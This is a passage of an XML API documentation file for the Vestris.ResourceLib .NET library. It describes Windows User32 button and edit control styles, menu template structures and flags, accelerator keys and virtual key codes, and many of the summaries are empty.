name=\"T:Vestris.ResourceLib.User32.ButtonControlStyles\">\n            <summary>\n            Push button styles.\n            http://msdn.microsoft.com/en-us/library/bb775951(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBUTTON\">\n            <summary>\n            Creates a push button that posts a WM_COMMAND message to the owner window when the\n            user selects the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFPUSHBUTTON\">\n            <summary>\n            Creates a push button that behaves like a BS_PUSHBUTTON style button, but has a distinct\n            appearance. If the button is in a dialog box, the user can select the button by pressing\n            the ENTER key, even when the button does not have the input focus. This style is useful \n            for enabling the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CHECKBOX\">\n            <summary>\n            Creates a small, empty check box with text. By default, the text is displayed to\n            the right of the check box. To display the text to the left of the check box, \n            combine this flag with the BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTOCHECKBOX\">\n            <summary>\n            Creates a button that is the same as a check box, except that the check state \n            automatically toggles between checked and cleared each time the user selects the\n            check box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RADIOBUTTON\">\n            <summary>\n            Creates a small circle with text. By default, the text is displayed to the right of the\n            circle. To display the text to the left of the circle, combine this flag with the \n            BS_LEFTTEXT style (or with the equivalent BS_RIGHTBUTTON style). Use radio buttons for \n            groups of related, but mutually exclusive choices.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_3STATE\">\n            <summary>\n            Creates a button that is the same as a check box, except that the box can be grayed\n            as well as checked or cleared. Use the grayed state to show that the state of the \n            check box is not determined.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTO3STATE\">\n            <summary>\n            Creates a button that is the same as a three-state check box, except that the box \n            changes its state when the user selects it. The state cycles through checked, \n            indeterminate, and cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_GROUPBOX\">\n            <summary>\n            Creates a rectangle in which other controls can be grouped. Any text associated with\n            this style is displayed in the rectangle's upper left corner.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_USERBUTTON\">\n            <summary>\n            Obsolete, but provided for compatibility with 16-bit versions of Windows. Applications \n            should use BS_OWNERDRAW instead.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_AUTORADIOBUTTON\">\n            <summary>\n            Creates a button that is the same as a radio button, except that when the user selects it,\n            the system automatically sets the button's check state to checked and automatically sets \n            the check state for all other buttons in the same group to cleared.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHBOX\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_OWNERDRAW\">\n            <summary>\n            Creates an owner-drawn button. The owner window receives a WM_DRAWITEM message when a visual \n            aspect of the button has changed. Do not combine the BS_OWNERDRAW style with any other\n            button styles.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TYPEMASK\">\n            <summary>\n            Microsoft Windows 2000: A composite style bit that results from using the OR operator on\n            BS_* style bits. It can be used to mask out valid BS_* bits from a given bitmask.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFTTEXT\">\n            <summary>\n            Places text on the left side of the radio button or check box when combined with a radio button\n            or check box style. Same as the BS_RIGHTBUTTON style.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TEXT\">\n            <summary>\n            Specifies that the button displays text.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_ICON\">\n            <summary>\n            Specifies that the button displays an icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BITMAP\">\n            <summary>\n            Specifies that the button displays a bitmap. See the Remarks section for its interaction\n            with BS_ICON.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_LEFT\">\n            <summary>\n            Left-justifies the text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is left justified on the right side\n            of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_RIGHT\">\n            <summary>\n            Right-justifies text in the button rectangle. However, if the button is a check box or radio\n            button that does not have the BS_RIGHTBUTTON style, the text is right justified on the right\n            side of the check box or radio button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_CENTER\">\n            <summary>\n            Centers text horizontally in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_TOP\">\n            <summary>\n            Places text at the top of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_BOTTOM\">\n            <summary>\n            Places text at the bottom of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_VCENTER\">\n            <summary>\n            Places text in the middle (vertically) of the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_PUSHLIKE\">\n            <summary>\n            Makes a button (such as a check box, three-state check box, or radio button) look and \n            act like a push button. The button looks raised when it isn't pushed or checked, and \n            sunken when it is pushed or checked.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_MULTILINE\">\n            <summary>\n            Wraps the button text to multiple lines if the text string is too long to fit on a \n            single line in the button rectangle.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_NOTIFY\">\n            <summary>\n            Enables a button to send BN_KILLFOCUS and BN_SETFOCUS notification messages to its \n            parent window. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_FLAT\">\n            <summary>\n            Specifies that the button is two-dimensional; it does not use the default \n            shading to create a 3-D image. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFSPLITBUTTON\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a split button that behaves like a \n            BS_PUSHBUTTON style button, but also has a distinctive appearance. If the split button \n            is in a dialog box, the user can select the split button by pressing the ENTER key, even \n            when the split button does not have the input focus. This style is useful for enabling\n            the user to quickly select the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_COMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like a\n            BS_PUSHBUTTON style button, but the command link button has a green arrow on the left pointing\n            to the button text. A caption for the button text can be set by sending the BCM_SETNOTE\n            message to the button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ButtonControlStyles.BS_DEFCOMMANDLINK\">\n            <summary>\n            Microsoft Windows Vista and Version 6.00. Creates a command link button that behaves like\n            a BS_PUSHBUTTON style button. If the button is in a dialog box, the user can select the \n            command link button by pressing the ENTER key, even when the command link button does\n            not have the input focus. This style is useful for enabling the user to quickly select\n            the most likely (default) option.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.EditControlStyles\">\n            <summary>\n            Edit control styles.\n            http://msdn.microsoft.com/en-us/library/bb775464(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LEFT\">\n            <summary>\n            Aligns text with the left margin.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_CENTER\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Centers text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Centers text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_RIGHT\">\n            <summary>\n            Windows 98/Me, Windows 2000/XP: Right-aligns text in a single-line or multiline edit control.\n            Windows 95, Windows NT 4.0 and earlier: Right aligns text in a multiline edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_MULTILINE\">\n            <summary>\n            Designates a multiline edit control. The default is single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_UPPERCASE\">\n            <summary>\n            Converts all characters to uppercase as they are typed into the edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_LOWERCASE\">\n            <summary>\n            Converts all characters to lowercase as they are typed into the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_PASSWORD\">\n            <summary>\n            Displays an asterisk (*) for each character typed into the edit control. \n            This style is valid only for single-line edit controls. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOVSCROLL\">\n            <summary>\n            Automatically scrolls text up one page when the user presses the ENTER key on \n            the last line.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_AUTOHSCROLL\">\n            <summary>\n            Automatically scrolls text to the right by 10 characters when the user types\n            a character at the end of the line. When the user presses the ENTER key, \n            the control scrolls all text back to position zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NOHIDESEL\">\n            <summary>\n            Negates the default behavior for an edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_OEMCONVERT\">\n            <summary>\n            Converts text entered in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_READONLY\">\n            <summary>\n            Prevents the user from typing or editing text in the edit control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_WANTRETURN\">\n            <summary>\n            Specifies that a carriage return be inserted when the user presses the \n            ENTER key while entering text into a multiline edit control in a dialog box. \n            If you do not specify this style, pressing the ENTER key has the same effect\n            as pressing the dialog box's default push button. This style has no effect \n            on a single-line edit control. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.EditControlStyles.ES_NUMBER\">\n            <summary>\n            Allows only digits to be entered into the edit control. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUTEMPLATE\">\n            <summary>\n            Defines the header for a menu template. \n            A complete menu template consists of a header and one or more menu item lists. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wVersion\">\n            <summary>\n            Specifies the version number. This member must be zero. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUTEMPLATE.wOffset\">\n            <summary>\n            Specifies the offset, in bytes, from the end of the header. \n            The menu item list begins at this offset. Usually, this member is zero, and the menu \n            item list follows immediately after the header. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUITEMTEMPLATE\">\n            <summary>\n            Defines a menu item in a menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUITEMTEMPLATE.mtOption\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the appearance of the menu item.\n             TODO\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXTEMPLATE\">\n            <summary>\n            Defines the header for an extended menu template.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wVersion\">\n            <summary>\n            Template version number. This member must be 1 for extended menu templates.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXTEMPLATE.wOffset\">\n            <summary>\n            Offset of the first MENUEXITEMTEMPLATE structure, relative to the end of \n            this structure member. If the first item definition immediately follows the \n            dwHelpId member, this member should be 4. \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE\">\n            <summary>\n            Drop-down menu or submenu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwType\">\n            <summary>\n            Menu item type. This member can be a combination of the type (beginning with MFT) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwState\">\n            <summary>\n            Menu item state. This member can be a combination of the state (beginning with MFS) values \n            listed with the MENUITEMINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.dwMenuId\">\n            <summary>\n            Menu item identifier. This is an application-defined value that identifies the menu item. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.bResInfo\">\n            <summary>\n            Value specifying whether the menu item is the last item in the menu bar, drop-down menu, \n            submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuFlags\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the \n            appearance of the menu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_INSERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHANGE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_APPEND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DELETE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_REMOVE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYCOMMAND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYPOSITION\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_GRAYED\">\n            <summary>\n            Indicates that the menu item is initially inactive and drawn with a gray effect.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHECKED\">\n            <summary>\n            Indicates that the menu item has a check mark next to it.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_USECHECKBITMAPS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_OWNERDRAW\">\n            <summary>\n            Indicates that the owner window of the menu is responsible for drawing all visual \n            aspects of the menu item, including highlighted, selected, and inactive states. \n            This option is not valid for an item in a menu bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_POPUP\">\n            <summary>\n            Indicates that the item is one that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBARBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column. The old and new columns \n            are separated by a bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SYSMENU\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HELP\">\n            <summary>\n            Indicates that the menu item has a vertical separator to its left.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MOUSESELECT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_END\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBARBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_OWNERDRAW\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RADIOCHECK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTORDER\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_GRAYED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_CHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuResourceType\">\n            <summary>\n            Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut \n            menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more \n            of these values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Last\">\n            <summary>\n            Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Sub\">\n            <summary>\n            Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu \n            items in the corresponding drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ACCEL\">\n            <summary>\n            Defines an accelerator key used in an accelerator table.\n            http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.fVirt\">\n            <summary>\n            Accelerator flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.key\">\n            <summary>\n            Accelerator key. This member can be either a virtual-key code or an ASCII character code. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.cmd\">\n            <summary>\n            Accelerator identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.AcceleratorVirtualKey\">\n            <summary>\n            Flags, fVirt field of the Accelerator table structure.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.VIRTKEY\">\n            <summary>\n            Virtual key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.NOINVERT\">\n            <summary>\n            Specifies that no top-level menu item is highlighted when the accelerator is used. \n            This is useful when defining accelerators for actions such as scrolling that do not \n            correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be \n            highlighted (if possible) when the accelerator is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.SHIFT\">\n            <summary>\n            Causes the accelerator to be activated only if the SHIFT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.CONTROL\">\n            <summary>\n            Causes the accelerator to be activated only if the CONTROL key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.ALT\">\n            <summary>\n            Causes the accelerator to be activated only if the ALT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.VirtualKeys\">\n            <summary>\n            Virtual key definitions.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LBUTTON\">\n            <summary>\n            Standard virtual left mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RBUTTON\">\n            <summary>\n            Standard virtual right mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CANCEL\">\n            <summary>\n            Ctrl-Break / Ctrl-C.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MBUTTON\">\n            <summary>\n            Standard virtual middle mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON1\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON2\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BACK\">\n            <summary>\n            Backspace.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_TAB\">\n            <summary>\n            Tab.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CLEAR\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RETURN\">\n            <summary>\n            Return.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SHIFT\">\n            <summary>\n            Shift.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONTROL\">\n            <summary>\n            Control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MENU\">\n            <summary>\n            Menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PAUSE\">\n            <summary>\n            Pause.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CAPITAL\">\n            <summary>\n            Caps lock.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANA\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_JUNJA\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_FINAL\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANJI\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ESCAPE\">\n            <summary>\n            Escape.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONVERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONCONVERT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ACCEPT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MODECHANGE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SPACE\">\n            <summary>\n            Space.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRIOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NEXT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_END\">\n            <summary>\n            End.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HOME\">\n            <summary>\n            Home.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LEFT\">\n            <summary>\n            Left arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_UP\">\n            <summary>\n            Up arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RIGHT\">\n            <summary>\n            Right arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DOWN\">\n            <summary>\n            Down arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRINT\">\n            <summary>\n            Print Screen.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXECUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SNAPSHOT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_INSERT\">\n            <summary>\n            Insert.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DELETE\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HELP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_APPS\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SLEEP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD0\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD4\">\n             <summary>\n            \n             </summary>\n        </member>\n        